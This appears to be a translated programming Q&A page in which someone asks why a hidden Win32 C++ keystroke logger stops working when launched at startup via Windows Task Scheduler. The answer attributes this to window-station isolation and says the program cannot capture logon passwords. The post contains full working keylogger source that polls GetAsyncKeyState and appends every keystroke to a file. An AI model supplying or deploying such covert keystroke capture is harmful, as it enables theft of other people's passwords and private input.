用Windows taskschd.msc编程C++Win32非控制台应用程序,无法工作
Program C++ Win32 non-console application with Windows taskschd.msc , not working
我在Win32中制作了这个c++程序,没有控制台(Win32应用程序)。该程序应该从键盘上获得所有输入,并将其放入文件:"file.txt"中。当我通过visual studio 2012运行该程序时,以及当我运行该程序的.exe文件时,它运行得很好。但问题是,当我试图通过taskschd.msc-windows任务调度程序运行它(.exe文件)时:它不起作用。我遵循了关于如何在taskschd.msc中安排程序的说明,如下所述:http://www.sevenforums.com/tutorials/67503-task-create-run-program-startup-log.html
我是用管理员用户做的。
问题是,当taskschd.msc启动这个程序时,我可以在taskmanager中看到程序已经启动,但由于某种原因,它没有在文件中放入任何字符。我想要的是,即使程序是用taskschd.msc启动的,is也会像我手动激活is一样工作。我甚至试着在任务调度程序中运行一个启动.exe的.bat程序,但它没有帮助,尽管手动激活时可以很好地工作
I、 也没有人知道,不知道如何解决这个问题。这是代码:
//Define the minimum operating system for the application:
#define _WIN32_WINNT _WIN32_WINNT_WINXP //Windows XP
//Get rid of the annoying min() and max() macros:
#define NOMINMAX
//Include the windows header:
#include <iostream>
#include <fstream>
#include <conio.h>
using namespace std;
#include <Windows.h>
#include <Winuser.h>
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
//if (OUTPUT_FILE == NULL )
//return -1;
if (key_stroke == VK_BACK)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CTRL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESC]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if(key_stroke == VK_DELETE)
fprintf(OUTPUT_FILE, "%s", "[DEL]");
else if(key_stroke == VK_INSERT)
fprintf(OUTPUT_FILE, "%s", "[INS]");
else if(key_stroke == VK_CAPITAL)
fprintf(OUTPUT_FILE, "%s", "[CAPSLOCK]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == VK_BROWSER_BACK)
fprintf(OUTPUT_FILE, "%s", "[BROWSER_BACK]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
int wWinMain(HINSTANCE hInst, HINSTANCE prevInst, LPWSTR szCmdLine, int nCmdShow)
{
while (1)
{
for(char i = 8; i <= 300; i++)
{
if (GetAsyncKeyState(i) == -32767)
if(Save (i,"File.txt")==-1)
return 0;
}
}
return 0;
}
我不是这方面的专家,但无论如何,我想您创建的计划任务选择了"无论用户是否登录都运行"选项。这使得任务调度程序可以在单独的Window Station中运行任务,以防止干扰桌面和(在您的情况下)输入设备,如键盘和鼠标。
您可以将以下代码添加到您的程序中,以检查您的程序在哪个窗口站运行:
HWINSTA station = GetProcessWindowStation();
char buffer[1024];
BOOL result = GetUserObjectInformation(station, UOI_NAME, buffer, 1024, NULL);
如果buffer
变量的内容不是WinSta0
,那么您就倒霉了。
不,您将无法窃取登录时输入的密码。
- 适用于 macOS 的 Xcode 应用程序。这就是我设置从USB麦克风输入获取音频的方式。一年前工作,现在没有了。为什么
- .exe应用程序在windows10中创建新模块时抛出错误,但在windows7中工作正常
- OpenGL应用程序在不同的计算机上的工作方式不同
- 如何将C++ dll 在 C# 窗口窗体应用程序下的工作线程中运行
- Visual Studio 中的套接字 c++ 应用程序无法通过两台计算机之间的以太网连接工作
- 如何将子窗口(MFC 应用程序)的工作区保存到图像
- 为什么我需要运行一个应用程序作为Papi库工作的根源
- 从 WebAPI 项目运行静态类时出现 StackOverflow 异常 - 从控制台应用程序运行时工作正常
- 当我跳到应用程序时,中断无法工作(STM32)
- 如何使用工作线程正确退出Qt应用程序
- 运行在DLL中的工作线程在应用程序关闭时被终止,然后才能正常关闭它们
- 套接字应用程序无法正常工作
- C++使用Qt库的应用程序在屏幕保护程序启动时停止工作
- 在我的Win32应用程序中使TAB键起工作
- 什么可能导致应用程序在工作几个小时后锁定获取 SIGABRT 失败
- 如何使用特定的工作目录运行/调试Netbeans平台应用程序
- 绘制移动图标,它一直是最顶端的鼠标光标和工作的全屏应用程序
- SQL SP在SSMS中正常工作,但在VC++应用程序中失败
- boost::asio 中的未经请求的消息使应用程序崩溃,没有 SSL 它可以正常工作,为什么
- MacOSX C++带有命令行应用程序的工作目录